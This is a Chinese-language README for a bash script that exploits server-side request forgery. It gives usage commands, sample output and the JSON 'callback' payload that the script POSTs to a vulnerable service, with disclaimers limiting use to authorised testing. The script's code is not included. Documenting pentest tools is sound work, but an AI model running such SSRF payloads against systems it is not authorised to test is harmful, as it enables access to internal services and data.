SSRF Exploit Script

这个仓库包含一个用于执行SSRF（服务端请求伪造）漏洞利用的脚本，仅供测试和教育用途。请负责任地使用此工具，仅在获得明确授权的情况下使用。

特性

• 利用目标系统中的SSRF漏洞。
• 验证输入URL以防止误用。
• 易于使用的CLI界面，包含清晰的错误信息和帮助菜单。

依赖

• bash（Unix shell）
• jq（JSON处理器）
• curl（HTTP请求命令行工具）

使用方法

语法

./script.sh --exploit <target_url> <purview_url>

选项

示例

显示帮助菜单

./script.sh -h

输出：

Usage:
./script.sh --exploit <target_url> <purview_url>

Options:
-h, --help       - Show this help menu
--exploit <tu> <pu> - Perform the SSRF exploit with target and purview URLs

执行SSRF漏洞利用

./script.sh --exploit http://example.com http://purview-url.com

预期输出：

• 如果成功：
  root@kitploit:~

  SSRF exploit successful! Data retrieved:
  <response data>
  

• 如果失败：
  root@kitploit:~

  SSRF exploit failed! HTTP code: <code>
  

脚本工作流程

1. 脚本解析提供的参数。
2. 验证提供的URL格式是否正确。
3. 向purview_url发送包含JSON负载的HTTP POST请求，尝试利用SSRF漏洞。
4. 根据结果打印HTTP响应或错误消息。

示例工作流程

输入

./script.sh --exploit http://callback-url.com http://vulnerable-purview-url.com

发送的负载

{
  "callback": "http://callback-url.com"
}

响应处理

保存HTTP响应码和响应体，根据状态码判断漏洞利用成功或失败。

错误处理

• 如果检测到无效或缺失参数，脚本会通过帮助菜单提供详细说明。
• 如果URL格式错误，会显示错误消息并停止执行。

开发说明

此脚本仅供测试用途。滥用此脚本可能导致严重的法律后果。请确保遵守所有适用法律和道德标准。

贡献

欢迎通过创建拉取请求或报告问题来贡献。

许可证

GNU GPL v3

免责声明

本工具仅供教育目的和授权渗透测试使用。 作者不对因误用或使用此工具造成的任何损害负责。